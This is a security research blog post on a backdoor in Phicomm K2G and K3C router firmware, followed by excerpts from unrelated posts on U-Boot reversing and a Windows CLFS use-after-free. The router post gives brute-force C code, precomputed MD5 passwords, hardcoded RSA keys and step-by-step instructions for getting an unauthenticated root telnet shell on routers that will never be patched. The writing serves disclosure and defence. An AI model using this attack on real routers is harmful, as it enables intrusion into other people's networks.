"%s+TEMP",
xor(SECRET_PLAINTEXT,
RSA_public_decrypt(HARDCODED_PUBLIC_KEY,
ENCRYPTED_XOR_MASK)));
temp_password = MD5(xor_str_temp);

And mutatis mutandis for +PERM. Now, the format specifier %sas used by sprintf is not meant to handle just any byte arrays whatsoever. It’s meant to handle strings — null-terminated strings, to be precise. The array of bytes at &XORED_MSG_00414b80 might, in the mind of the developer, be 31 bytes long, but in the eyes of sprintf() it ends where the first null byte occurs.

If the value of the first byte of that “string” is zero (i.e, '\x00', not the ASCII numeral '0'), then %s will format it as an empty string!

If &XORED_MSG_00414b80 is treated as an empty string, then xor_str_temp and xor_str_perm are just going to be "+TEMP" and "+PERM". The random component is completely dropped! Their MD5 hashes will be entirely predictable. When that happens, this code

memset(md5,0,0x58);  
md5_init(md5);
xor_str_len = strlen(xor_str_perm);
md5_add(md5,xor_str_perm,xor_str_len);
md5_digest(md5,&TELNET_ENABLE_PERM_at_414c20);
md5_init(md5);
xor_str_len = strlen(xor_str_temp);
md5_add(md5,xor_str_temp,xor_str_len);
md5_digest(md5,&TELNET_ENABLE_TEMP_at_0x414c30);

will produce precisely these two hashes:

In [53]: salt = b"+TEMP" ; MD5.MD5Hash(salt + b'\x00' * (0x58 - len(salt))).digest().hex()
Out[53]: 'f73fbf2e90e43136f07279c745f2f9f2'
In [54]: salt = b"+PERM" ; MD5.MD5Hash(salt + b'\x00' * (0x58 - len(salt))).digest().hex()
Out[54]: 'c423a902bacd28bafd095350d66e7455'

What this means is that all we have to do to produce a situation where we can predict the two ephemeral passwords is to make it likely that

XORED_MSG_00414b80[0] == DECRYPTED_PAYLOAD_at_4149d0[0] ^ RANDOMLY_GENERATED_PLAINTEXT_at_4149b0[0] == '\x00'

This turns out to be easy.

In the absence of padding (i.e., when the padding variable is set to RSA_NO_PADDING (=3)),RSA_public_decrypt() will “successfully” transform the vast majority of 128-byte buffers into non-null buffers. Just to get a ballpark idea of the odds, here’s what I found when I used the hardcoded public RSA key provided to “decrypt” 1000 random buffers, in the Python REPL:

In [23]: D = [pub_decrypt(os.urandom(0x80), padding=None) for i in range(1000)]      
In [24]: len([x for x in D if x and any(x)]) / len(D)                                                                                                                                                
Out[24]: 0.903

Over 90% came back non-null. If the padding variable were set to RSA_PKCS1_PADDING, by contrast, we’d be entirely out of luck. Control of the plaintext would be virtually impossible:

In [85]: D = [pub_decrypt(os.urandom(0x80), padding="pkcs1") for x in range(1000)]
In [86]: len([x for x in D if x and any(x)]) / len(D)
Out[86]: 0.0

What this means is that so long as the server uses a padding-free cipher, we don’t actually need the private key in order to have some control over what RSA_public_decrypt() does with the message we send back to telnetd_startup at the beginning of State 2.

So, what kind of control are we after here? Simple: we want the first byte of the “decrypted” buffer to be printable. Why? Because the one thing we know about the random plaintext secret is that it’s composed of printable bytes, that is, bytes that fall somewhere between 0x21 and 0x7e, inclusive.

In [25]: len([x for x in D if (0x21 <= x[0]) and (x[0] < 0x7f)]) / len(D)                                                                                                                      
Out[25]: 0.372

So that winds up being true of about 37% of random 128-byte buffers.

Here’s a bit of C-code that will whip up some phony ciphertext, meeting these fairly broad specifications.

unsigned char *find_phony_ciphertext(RSA *rsa) {
unsigned char *phony_ciphertext;
unsigned char phony_plaintext[1024];
int plaintext_length;
memset(phony_plaintext, 0, 0x20);
phony_ciphertext = calloc(PHONY_CIPHERTEXT_LENGTH, sizeof(char));
do {
    random_buffer(phony_ciphertext, PHONY_CIPHERTEXT_LENGTH);
phony_ciphertext[0] || (phony_ciphertext[0] |= 1);
    plaintext_length = decrypt_with_pubkey(rsa, 
phony_ciphertext, phony_plaintext);

if ((plaintext_length < 0x101) &&
(0x21 <= phony_plaintext[0]) &&
(phony_plaintext[0] < 0x7f)) {
printf("[!] Found stage 2 payload:\n");
hexdump(phony_ciphertext, PHONY_CIPHERTEXT_LENGTH);
printf("[=] Decrypts to (%d bytes):\n", plaintext_length);
hexdump(phony_plaintext, plaintext_length);
return phony_ciphertext;
}
} while (1);
}

Once we’ve generated such a buffer, we then have a 1 in 94 (0x7f — 0x21) chance of having a message whose “decryption”, via the hardcoded RSA key, begins with the same character as the random secret plaintext. Those are astronomically better odds than trying to guess a 31-character string (94−31) or a 16-byte hash (2−128).

If we guess right, then the ephemeral password to temporarily enable telnetd will become MD5("+TEMP"), and the ephemeral password to permanently enable it will become MD5("+PERM)".

And in this fashion we can gain an unauthenticated root shell on the Phicomm router after somewhere in the ballpark of one hundred guesses.

Protocol Diagram Showing How the Backdoor Lock can be Picked

Proof of concept

To bring these findings together, I wrote a small proof-of-concept program in C that will reliably pick the lock on the Phicomm router’s backdoor and grant the user a root shell over telnet. You can see it in action below.

A screencast showing our exploit in action, successfully picking the lock on the Phicomm K2G router’s backdoor.

Picking the Lock on the K3C’s Backdoor

An advertisement for the Phicomm K3C, which sports an essentially identical backdoor.

I was curious whether Phicomm’s flagship router, the K3C, might implement the same backdoor protocol, and, if so, whether it might be vulnerable to an identical attack. These devices are still available through Phicomm’s Amazon storefront, for less than $30. So I put in an order for the device, and while I waited, set about scouring a few Chinese forums for surviving copies of the K3C’s firmware image. I was in luck! I was able to obtain firmware images for the K3C, in each of the following versions:

  • 32.1.15.93
  • 32.1.22.113
  • 32.1.26.175
  • 32.1.45.267
  • 32.1.46.268
$ find . -path "*usr/bin/telnetd_startup" -exec bash -c 'echo -e "$(grep -o "fw_ver .*" $(dirname {})/../../etc/config/system)\n\tMD5 HASH OF BINARY: $(md5sum {})\n\tPRODUCT IDENTIFIER: $(strings {} | grep VER)\n\tPUBLIC RSA KEY(S): $(strings -n 256 {})\n"' {} \;
fw_ver '32.1.15.93'
MD5 HASH OF BINARY: f53a60b140009d91b51e4f24e483e893 ./_K3C_V32.1.15.93.bin.extracted/squashfs-root/usr/bin/telnetd_startup
PRODUCT IDENTIFIER:
PUBLIC RSA KEY(S): CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519
9FC8FFBF53AECF8461DEFB98D81486A5D2DEE341F377BA16FB1218FBAE23BB1F3766732F8D382E15543FC2980208D968E7AE1AC4B48F53719F6D9964E583A0B791150B9C0C354143AE285567D8C042240CA8D7A6446E49CCAF575ACC63C55BAC8CF5B6A77DEE0580E50C2BFEB62C06ACA49E0FD0831D1BB0CB72BC9B565313C9
fw_ver '32.1.22.113'
MD5 HASH OF BINARY: d23c3c27268e2d16c721f792f8226b1d ./_K3C_V32.1.22.113.bin.extracted/squashfs-root/usr/bin/telnetd_startup
PRODUCT IDENTIFIER:
PUBLIC RSA KEY(S): CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519
fw_ver '32.1.26.175'
MD5 HASH OF BINARY: d23c3c27268e2d16c721f792f8226b1d ./_K3C_V32.1.26.175.bin.extracted/squashfs-root/usr/bin/telnetd_startup
PRODUCT IDENTIFIER:
PUBLIC RSA KEY(S): CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519
fw_ver '32.1.45.267'
MD5 HASH OF BINARY: 283b65244c4eafe8252cb3b43780a847 ./_SW_K3C_703004761_V32.1.45.267.bin.extracted/squashfs-root/usr/bin/telnetd_startup
PRODUCT IDENTIFIER: K3C_INTELALL_VER_3.0
PUBLIC RSA KEY(S): E7FFD1A1BB9834966763D1175CFBF1BA2DF53A004B62977E5B985DFFD6D43785E5BCA088A6417BAF070BCE199B043C24B03BCEB970D7E47EEBA7F59D2BE4764DD8F06DB8E0E2945C912F52CB31C56C8349B689198C4A0D88FD029CCECDDFF9C1491FFB7893C11FAD69987DBA15FF11C7F1D570963FA3825B6AE92815388B3E03
fw_ver '32.1.46.268'
MD5 HASH OF BINARY: 283b65244c4eafe8252cb3b43780a847 ./_K3C_V32.1.46.268.bin.extracted/squashfs-root/usr/bin/telnetd_startup
PRODUCT IDENTIFIER: K3C_INTELALL_VER_3.0
PUBLIC RSA KEY(S): E7FFD1A1BB9834966763D1175CFBF1BA2DF53A004B62977E5B985DFFD6D43785E5BCA088A6417BAF070BCE199B043C24B03BCEB970D7E47EEBA7F59D2BE4764DD8F06DB8E0E2945C912F52CB31C56C8349B689198C4A0D88FD029CCECDDFF9C1491FFB7893C11FAD69987DBA15FF11C7F1D570963FA3825B6AE92815388B3E03

The older versions appeared to work differently, and in one of the writeups I dug up on Baidu, I found instructions for using a tool that sounded, at first, very much like mine in order to gain a root shell over telnet, so as to upgrade the firmware to the most recent version — something no longer facilitated by the official Phicomm firmware repository, which shut its doors when the company collapsed at the beginning of 2019.

A screenshot of Jack Cruise’s post (passed through Google Translate), showing how the RoutAckProV1B2.exe tool can be used to crack the backdoor implemented in an obsolescent version of the K3C firmware. This tool, unlike ours, cannot crack the backdoor protocol used on the most recent versions of Phicomm firmware for the K2G and K3C routers.

A quick look at RoutAckProV1B2.exe suggested that it did, indeed, interact with whatever runs on UDP port 21210 (0x52da in hexadecimal, da 52 in little-endian representation).

A hex dump of RoutAckProV1B2.exe, which hints that this tool, too, interacts with a service that listens on UDP port 21210 on the router.

I wondered if I’d been scooped, for a moment, and spun up a Windows VM on the isolated network to which Phicomm K2G was connected. I downloaded the RoutAckProV1B2 tool, and monitored it with procmon.exe and Wireshark as it tried in vain to open the backdoor on the K2G. This tool wasn’t sending the handshake token, "ABCDEF1234".

A screenshot of the RoutAckProV1B2.exe tool running in a Windows VM, while being inspected by the Windows process monitor.

Instead it was sending a single 128-byte payload, five times in succession, before finally giving up.

This is the “magic packet” that the RoutAckProV1B2.exe tool uses to unlock the backdoor installed an older versions of Phicomm router firmware.
A closeup of the RoutAckProV1B2.exe tool, courtesy of Jack Cruise. The website www.right.com.cn is a Chinese-language forum for sharing technical information on a variety of routers.
Here we see the RoutAckProV1B2.exe tool unsuccessfully attempting to open the backdoor on a virtual machine running the most recent firmware I could find for the Phicomm K3C.

Versions 32.1.45 of the firmware and up, however, shared an identical build of the telnetd_startup daemon, which appeared to differ from its counterpart on the K2G router only in having been compiled to a big-endian MIPS instruction set, rather than the little-endian architecture found in the K2G. Surprisingly, this binary hadn’t been stripped of symbols, which made life just a little bit easier.

The function that set the ephemeral passwords (see above) suffered from the same programming mistake as its K2G counterpart, and was almost certainly built from the same source code.

A decompilation of the function I referred to above as “set_telnet_enable_keys()”, here seen in K3C’s build of the telnetd_startup binary. Here it’s compiled to a big-endian rather than little-endian MIPS architecture, and, unlike the K2G binary, has not been stripped of debugging symbols, which makes reverse engineering the binary somewhat easier. The algorithm is, nevertheless, identical.

All I’d need to do, then, was recover the hardcoded public RSA key from the binary and I could easily adapt my tool to pick the lock on this backdoor as well. Running strings -n 256 on the binary was all that it took.

Using strings -n 256 to grab the hardcoded public RSA key from the telnetd_startup binary in the K3C firmware (version 32.1.46.268).

strings also helped extract the product identifier. Where the Phicomm K2G build contained K2_COSTDOWN__VER_3.0, the K3C build had K3C_INTELALL_VER_3.0:

I used strings to grab the hardcoded product identifier from that binary, too.

I added this information to the table in the backdoor-lockpick tool, which associated product identifying strings with public RSA keys.

Adding the product identifier and hardcoded public RSA key to a lookup table used by my “backdoor lockpick” tool, enabling it to pick the lock on the K3C backdoor as well as the K2G one.

With a week to wait before my K3C arrived, I decided I’d make do with the tools at my disposal and emulate the K3C build of telnetd_startup in user mode with QEMU (wrapped, for the sake of portability and convenience, in a Docker container, following this method @drablyechos describes in this 2020 IOT Village talk at DEFCON, though the Docker wrapper isn’t strictly necessary).

The telnetd_startup daemon fails its preliminary search for the telnet flag in flash storage, since there’s no flash storage device to check, but it recovers from this failure gracefully and goes on to listen on UDP port 21210, just as it would if the telnet flag had been set to the disabled position in the flash device (which is, after all, the default setting).

The lockpick has no more trouble with this backdoor than it did with the one on the K2G.

A screencast showing my backdoor lockpick in action, again, this time picking the lock on the K3C’s backdoor. The K3C firmware, in this case, is being run on a virtual machine. The hardware was still in the mail.

For the sake of thoroughness, I decided to test RoutAckProV1B2.exe’s attack against my virtualized K3C, running firmware version 32.1.46.268.

Relying on Google Translate to read on-screen Chinese sometimes presents a challenge.

Google translate doing its best to help me read the log messages on RoutAckProV1B2.exe’s GUI.

Not entirely sure of what was happening here, I decided I’d better check Wireshark again. RoutAckProV1B2 was repeatedly sending 128-byte packets to my virtualized K3C server (running firmware version 32.1.46.268) on UDP port 21210, but receiving no replies. At no point did a telnet port open.

When tested against the older firmware version 32.1.26.175, however, RoutAckProV1B2.exe worked like a charm.

This seems to establish beyond any doubt that the most recent firmware versions for Phicomm’s K2G and K3C routers are using a new backdoor protocol, designed with better security but implemented with a catastrophic loophole, which permits anyone on the LAN to gain a root shell on either device.

The Phicomm K3C with International Firmware Version 33.1.25.177

Still unsure whether I’d tested the most recent versions of the Phicomm K3C firmware, or whether I’d find the same backdoor in the devices they’d built for the international market, I was eager to get my hands on a brand new K3C device. It arrived just as I was wrapping up with my K3C emulations.

I set up the router and found that the firmware running on this device bore the version 33.1.25.177, a major version bump ahead of the latest Chinese market firmware I’d tested.

The web admin interface for the international release of the K3C, running firmware version 33.1.25.177.

There was something listening on UDP port 21210, but it didn’t, at first, appear to behave like the backdoor I’d found on the Chinese market firmware I’d studied. Rather than listening silently until it received the magic handshake, ABCDEF1234, it would respond to any packet with an unpredictable, high-entropy packet containing exactly 128 bytes. I suspected this might be something like the encrypted secret that the backdoor would send to its client in Stage 2 of the protocol discussed above.

The behaviour was reminiscent of the simpler backdoor that the tool RoutAckProV1B2.exe seemed designed for, but I wasn’t able to get anywhere with that particular tool.

I figured I could make better sense of things if I could just look at the binary of whatever it was that listened on UDP port 21210 on this device, so I set to work taking it apart, in search of a UART port by which I might obtain a root shell.

I was in luck! The device not only sports a UART, but a clearly-labelled UART at that!

A clearly labelled UART at that!

So I grabbed my handy-dandy UART-to-USB serial bridge…

My handy-dandy UART-to-USB bridge.

…and set about soldering some header pins to the UART port. These devices are somewhat delicate machines, so I first tried to get as far as I could without disassembling everything and removing it from the casing. A hot air gun was helpful here.

And there we go:

UART pins ready!

The molten plastic casing was still a bit awkward to work around, however, so I did eventually end up taking things apart, and removing the unneeded upper board, which housed the RF components. Everything still worked fine.

With the UART adapter connected, I was able to obtain a serial connection using minicom, at 115200 Baud 8N1. This gave me access to a U-Boot BIOS shell after interrupting the boot process, with direct read and write access to the 1Gb F-die NAND flash storage chip (a Samsung 734 K9F1G08U0F SCB0), on which both the firmware and the bootloader are stored.

The Samsung 734 K9F1G08U0F SCB0.

If we let the boot process run its course, we’re presented with a linux login prompt. We could try to guess the password here, or take the more difficult, principled approach of first dumping the NAND and searching it for clues. Let’s do things the hard way. I adapted Valerio’s TCL expect script to hexdump the entire NAND volume, and left it running overnight.

Valerio’s U-Boot flash dumping script, adapted to work on the K3C.

I deserialized the hex back to binary with a bit of Python, and then went at it with the usual tools. The most rewarding turned out to be strings :

Digging some password hashes out of the NAND volume.

Hashcat didn’t have any trouble with this, and gave me one of the root passwords in seconds:

Returning to the login prompt while hashcat warmed up my office, I logged in with username root, password admin, and presto!

The firmware conveniently had netcat installed, and our old friend telnetd_startup was sitting right there in /usr/bin. I piped it over to my workstation, and dropped it into Ghidra.

The protocol implemented by the version of telnetd_startup in the latest international market firmware for the K3C closely resembles what we see in the Chinese market K2G 22.6.3.20 and the K3C 32.1.46.268. It differs only in omitting the initial stage. Rather than waiting for the ABCDEF1234 handshake, and then responding with a device identifying hash, it expects the initial packet to contain a message encrypted with the private RSA key that matches its hardcoded public key. It “decrypts” this message with the public key, XORs it with a randomly generated 31-character secret, and then, fatally, concatenates it with either +TEMP or +PERM using sprintf(), before hashing the result with MD5, to produce the ephemeral passwords for temporarily and permanently activating the telnet service respectively.

This all looks very familiar.
A familiar-looking xor() function in the international firmware for the K3C.
And here’s where they make their fatal mistake.

This algorithm is vulnerable to the same attack that worked against the three-stage backdoor protocol implemented in the telnetd_startup versions we’ve already looked at. All we need to do is grab the hardcoded public key and tweak our lockpick tool so that it skips the handshake/identifier stage when communicating with this particular release.

That public key, by the way, is

CC232B9BB06C49EA1BDD0DE1EF9926872B3B16694AC677C8C581E1B4F59128912CBB92EB363990FAE43569778B58FA170FB1EBF3D1E88B7F6BA3DC47E59CF5F3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCE973376D0CB6158C72F6529A9012786000D820443CA44F9F445ED4ED0344AC2B1F6CC124D9ED309A519

Remember that one.

I made the necessary adjustments to the tool, and it worked, again, like a charm!

An Exposed Private RSA Key in the K2 Router, with Firmware Version 22.5.9.163, but One that You Don’t Even Need

I mentioned, before, that another solution to this puzzle would simply be to obtain the private RSA key that matched the hardcoded public key. In the case of the K2G (the one in Wavlink’s clothing) I made some effort to search for the public key online, after converting it to various ASCII formats, just in case the pair had been left lying around somewhere. It was a long shot and didn’t pan out. But while I was exploring one of the older firmware images for Phicomm’s K2 line of routers— 22.5.9.163, dating from 2017— I noticed something interesting:

Look familiar?

It’s using the same public key we saw in the brand new international release of the Phicomm K3C. But there’s more:

That shouldn’t be there!

In firmware version 22.5.9.163 for the K2 router, Phicomm exposed the private RSA key corresponding to the hardcoded public key that they continued to deploy in their international release long after correcting the error in their domestic market firmware versions. This error didn’t go unnoticed — this key pair shows up in a strings dump of RoutAckProV1B2.exe, which attacks an earlier, simpler backdoor protocol than either of the two protocols analysed here.

The method for constructing the ephemeral passwords in the K2 22.5.9.163 differs from what we’ve seen in these later firmware versions. Instead of generating a random secret and XORing it with public-key-decrypted data received from the client prior to concatenating it with the two magic salts, this earlier release simply concatenates the client’s decrypted secret with the salts. Everything is then hashed with MD5, just as it was before, and the two passwords are set.

The md5_command() function from the telnetd_startup binary in the K2G 22.5.9.163 firmware.

Curiously, this release contains what must be a typo: instead of +PERM we have +PERP.

Now, leaked d parameter notwithstanding, it’s possible to crack open this backdoor without even using the private key. All that needs to be done is:

  1. Generate some ${phony_ciphertext} that the known public key will “decrypt” into a non-null buffer (call this the ${phony_plaintext}). It simplifies things if you also constrain things so that the phony plaintext contains no null bytes. This can be found pretty quickly through brute trial and error.
  2. Take the MD5 hash of the string ${phony_plaintext}+TEMP. Let’s call that the ${temp_password}.
  3. Send ${phony_ciphertext} to UDP port 21210 on the router.
  4. And then, quickly afterwards, send ${temp_password} to the same port.

This will open the telnet service on the K2 22.5.9.163. For a telnet service that persists after rebooting, do the same as above but substitute PERP for TEMP (this misspelling seems to be peculiar to this particular version).

A Reconstructed History of Phicomm’s Backdoor Protocols

In the course of researching this vulnerability, I’ve looked closely at eleven different firmware images. Arranged in order of build date, they are:

So, to sum things up, the history of the Phicomm backdoor looks like this:

The oldest generation I’ve found of Phicomm’s telnetd_startup protocol (shaded blue, in the tables above) is relatively simple: the server waits to receive an encrypted message, which it decrypts and hashes with two different salts. It then waits for another message, and if that message matches either of those hashes, it will either spawn the telnet service or write a flag to the flash drive to trigger the spawning of telnet on boot. This is the protocol we see in the K2 22.5.9.163, released in early 2017. That particular build made the blunder of hardcoding the private key in the binary, which defeats the purpose of asymmetric encryption. This error enabled the creation of RoutAckProV1B2.exe, a router-hacking tool which has been circulating online for several years, which uses the pilfered private key to allow any interested party to gain root access to this iteration of the backdoor. Of course, as we just saw, use of the private key isn’t even necessary to open the door. What the design overlooks — and this oversight will never be truly corrected — is that it’s not only possible but easy to generate phony ciphertext that a public RSA key will “decrypt” into predictable, phony plaintext. Doing so will permit an attacker to subvert the locking mechanism on the backdoor, and gain unauthorized entry.

Phicomm responded to this situation in an entirely insufficient fashion in the next generation of the protocol (shaded yellow, above), which we find in the firmware versions released later in 2017, including the still-for-sale international release of the K3C (analysed above). They redacted the private key from the binary, but failed to change the public key. Their next design, moreover, appears to share the assumption that it’s only by encrypting data with the private key that an attacker can predict or control the output of its public key decryption. Rather than addressing either of these errors, they just piled on further complexity: this is when they began to generate a 31-character random secret and XOR it with the public-key-decrypted data received from the client in order to generate their ephemeral passwords. This makes the backdoor slightly harder to attack, if we continue to ignore the leaked private key, but it’s ultimately just a matter of discovering some phony ciphertext that decrypts to a plaintext that begins with a printable ASCII character. This gives us a 1 in 92 chance of colliding with the first byte of the random secret, which, due to the careless use of sprintf‘s %s specifier for bytearray concatenation, will result in a completely predictable empheral password.

The next generation (mauve in the tables above) is the last I looked at, and likely the last released. Phicomm finally removed the compromised public key, and took the additional precaution of deploying a distinct public key to each router model. They also added a device-identifying handshake phase to the protocol, which makes the backdoor considerably stealthier — there’s no real way to tell that it’s listening on UDP port 21210, unless you send it the magic token ABCDEF1234. It responds to this magic token with a device-identifying hash, permitting the client to select the private key that matches the public key compiled into the service. The algorithm itself, however, shares the same security flaws as its predecessor, and is vulnerable to an essentially identical attack. This is the iteration we see in the Chinese market release of K3C 32.1.46.268, and the Chinese market K2G A1 22.6.3.20 — the firmware image that ended up on certain Wavlink-branded routers, that Wavlink neglected to flash with firmware of their own.

I’d love to conduct a more exhaustive test of various Phicomm firmware images, but they’re becomming rather difficult to find online. If you know where I might find a copy of a firmware version not mentioned here, please reach out to us at bughunters at tenable dot com.

Will these Vulnerabilities Ever Be Patched?

No.

These vulnerabilities will never be patched. Certainly not through official channels.

The Phicomm corporation is dead and gone.

After various attempts to contact Phicomm’s customer support offices in China, Germany, and California, and even reaching out to the CEO directly, I received this reply on October 10 from whatever remained of Phicomm’s American office.

Dear Sir,
Thank you for contacting Phicomm Support in Germany. Phicomm has closed all Business worldwide since 01.01.2019.
Yours sincerely
Service Team Phicomm

I’m not sure whether or not the @PHICOMM account on telegram.com is managed by the company, but if it is, things didn’t look good on that end, either.

Poor guy.

So, what exactly happened to Phicomm?

In 2015, while at the height of their economic power — with a net operating income of close to 10 billion yuan (a little over 1.5 billion USD), earning them comparisons to Huawei in the press — Phicomm, under the leadership of CEO and founder Gu Guoping, entered into a highly questionable business arrangement with the p2p lending company, Lianbi Financial. Former Project Director for Phicomm, James Soh, has posted on LinkedIn about

the sudden appearance in June 2015 of a person-to-person (P2P) financial service company called LianBi Finance that started month-long on-site promotion on company grounds. They claimed that LianBi Finance is a partner firm and there is proper agreement in place for collaboration between Shanghai Phicomm and LianBi Finance but it was never publicized. They promote financial products that has unrealistic returns. Thereafter, the tie-up between Shanghai Phicomm and LianBi Finance went further where Shanghai Phicomm home Wifi kit costing 399 RMB and up, shall be refunded by LianBi Finance for the full amount if the buyer scanned the QR code on the Wifi product box and provided personal details. People will buy more and more sets, however discovered that they cannot get the full amount back from the second set of kit they bought, instead they are offered to purchase a certain amount of financial investment products of say 5,000 RMB, and returns of 12% per month will be credited back into the buyer. This is a pyramid scheme in disguise. In addition, Mr Gu tied staff promotion and bonus in Shanghai Phicomm to how much LianBi products each person buy.
Gu Guoping, in better days than these.

Peer to Peer (P2P) lending is a high-risk financial instrument that often offers investors — that is, lenders —astonishingly high rates of return, and which has been criticized for being a Ponzi scheme with extra steps. It would eventually become known that Gu “effectively also owned and controlled LianBi.” 2016 saw the beginnings of the Chinese government’s crackdown on P2P lending platforms, in a campaign that would reach its summit in 2018. LianBi Financial was filed that year, under suspicion of “illegally absorbing public deposits.” In 2021, the police raided LianBi’s offices and arrested Gu Guoping.

Police raiding the LianBi Financial headquarters.

A public hearing was held against Gu on February 4, that year, and on December 8, 2021,

Gu Guoping was sentenced to life imprisonment for the crime of fundraising fraud, deprived of political rights for life, and confiscated all personal property. Nong Jin, Chen Yu, Zhu Jun, Wang Jingjing, and Zhang Jimin were sentenced to fixed-term imprisonment ranging from 15 to 10 years for the crime of fund-raising fraud, as well as confiscation of personal property of RMB 5 million to 600,000.
Gu Guoping, together with a few of his associates, at a public hearing in the Shanghai №1 Intermediate People’s Court, on February 4, 2021. The yellow sign says “defendant”.

And this, in a nutshell, is why we can expect no patches from Phicomm for the vulnerabilities discussed in this post.

So, what about Wavlink?

This part of the story is still a little unclear, but it seems to me that what happened was this: sometime between May, 2018, when they released their last batch of routers, and January 2019, when they closed down business worldwide, Phicomm liquidated their remaining stock of routers, selling the surplus K2Gs to the Winstars corporation. Winstars then outfitted these devices with the branding of their subsidiary, Wavlink, and distributed them through Amazon, which is how a Phicomm router in Wavlink clothing eventually arrived on my desk.

After hitting a wall with Phicomm, I reached out to Wavlink to report these vulnerabilities I’d found on what was, in a sense, their hardware. I imagined that they’d be interested to hear that they had been shipping out devices with Phicomm’s firmware. They replied that they had “released related patches last year or the beginning of this year,” but gave no indication as to how the customer might be able to upgrade to those patches if they were among those whose Wavlink-branded routers were running Phicomm firmware.

If removing the backdoor is your chief concern, then it’s far from given that re-flashing your router with Wavlink firmware would put you on any firmer ground. Wavlink, in fact, has its own history of installing backdoors. And shoddy or not, at least Phicomm made an effort to lock their backdoors. If you’re interested in reading more about Wavlink’s own backdoors, I recommend you read James Clee’s excellent writeup.

What Should I Do With my Phicomm Router?

There no longer exists an official avenue to update the firmware on any Phicomm router. The company collapsed entirely well before we discovered these zero days.

An intrepid user can, however, at their own risk, leverage one or more of the vulnerabilities documented above to re-flash their router with an open-source firmware like OpenWRT, which now supports several Phicomm models. There’s considerable risk of bricking your device in the process, and it isn’t for the faint of heart, but it’s quite probably the surest way to rid your router of the vulnerabilities analysed here.

Other creative solutions, available to the adventurous, might include using the backdoor to modify the firmware by hand —by disabling the telnetd_startup daemon, say. The user might also attempt to simply restrict access to UDP port 21210 by means of a firewall rule.

Remote management should be disabled immediately, if nothing else.

Disclosure Timeline

  • Tuesday, October 5, 2021: Phicomm customer support contacted to report vulnerabilities
  • Sunday, October 10, 2021: Phicomm’s German office replies to inform us that Phicomm “has closed all business worldwide since 01.01.2019.”
  • Thursday, October 7, 2021: Wavlink notified that several of their “AC1200” routers have shipped with vulnerable Phicomm firmware
  • Friday, October 8, 2021: Wavlink responds to request further details
  • Friday, October 29, 2021: Wavlink provided with requested details
  • Monday, December 6, 2021: Reminder sent to Wavlink after receiving no response

A Backdoor Lockpick was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Reversing embedded device bootloader (U-Boot) - p.1

8 March 2022 at 14:20
This blog post is not intended to be a “101” ARM firmware reverse-engineering tutorial or a guide to attacking a specific IoT device. The goal is to share our experience and, why not, perhaps save you some precious hours and headaches. “Bootrom” In this two posts series, we will share an analysis of some aspects of reversing a low-level binary. Why? Well, we have to admit we struggled a bit to collect the information to build the basic knowledge about this topic and the material we found was often not comprehensive enough, or many aspects were taken for granted.

Exploiting a use-after-free in Windows Common Logging File System (CLFS)

10 March 2022 at 17:47

By Arav Garg

Overview

This post analyzes a use-after-free vulnerability in clfs.sys, the kernel driver that implements the Common Logging File System, a general-purpose logging service that can be used by user-space and kernel-space processes in Windows. A method to exploit this vulnerability to achieve privilege escalation in Windows is also outlined.

Along with two other similar vulnerabilities, Microsoft patched this vulnerability in September 2021 and assigned the CVEs CVE-2021-36955, CVE-2021-36963, and CVE-2021-38633 to them. In the absence of any public information separating the three CVEs, we’ve decided to use CVE-2021-36955 to refer to the vulnerability described herein.

The Preliminaries section describes CLFS structures, Code Analysis explains the vulnerability with the help of code snippets, and the Exploitation section outlines the steps that lead to a functional exploit.

Preliminaries

Common Log File System (CLFS) provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access. Any user-mode application that needs logging or recovery support can use CLFS. The following structures are taken from both the official documentation and a third-party’s unofficial documentation.

Every Base Log File is made up various records. These records are stored in sectors, which are written to in units of I/O called log blocks. These log blocks are always read and written in an atomic fashion to guarantee consistency.

Metadata Blocks

Every Base Log File is made up of various records. These records are stored in sectors, which are written to in units of I/O called log blocks. The Base Log File is composed of 6 different metadata blocks (3 of which are shadows), which are all examples of log blocks.

The three types of records that exist in such blocks are:

  • Control Record that contains info about layout, extend area and truncate area.
  • Base Record that contains symbol tables and info about the client, container and security contexts.
  • Truncate Record that contains info on every client that needs to have sectors changed as a result of a truncate operation.

Shadow Blocks

Three metadata records were defined above, yet six metadata blocks exist (and each metadata block only contains one record). This is due to shadow blocks, which are yet another technique used for consistency. Shadow blocks contain the previous copy of the metadata that was written, and by using the dump count in the record header, can be used to restore previously known good data in case of torn writes.

The following enumeration describes the six types of metadata blocks.

typedef enum _CLFS_METADATA_BLOCK_TYPE
{
    ClfsMetaBlockControl,
    ClfsMetaBlockControlShadow,
    ClfsMetaBlockGeneral,
    ClfsMetaBlockGeneralShadow,
    ClfsMetaBlockScratch,
    ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;

Control Record

The Control Record is always composed of two sectors, as defined by the constant below:

const USHORT CLFS_CONTROL_BLOCK_RAW_SECTORS = 2;

The Control Record is defined by the structure CLFS_CONTROL_RECORD, which is shown below:

typedef struct _CLFS_CONTROL_RECORD
{
    CLFS_METADATA_RECORD_HEADER hdrControlRecord;
    ULONGLONG ullMagicValue;
    UCHAR Version;
    CLFS_EXTEND_STATE eExtendState;
    USHORT iExtendBlock;
    USHORT iFlushBlock;
    ULONG cNewBlockSectors;
    ULONG cExtendStartSectors;
    ULONG cExtendSectors;
    CLFS_TRUNCATE_CONTEXT cxTruncate;
    USHORT cBlocks;
    ULONG cReserved;
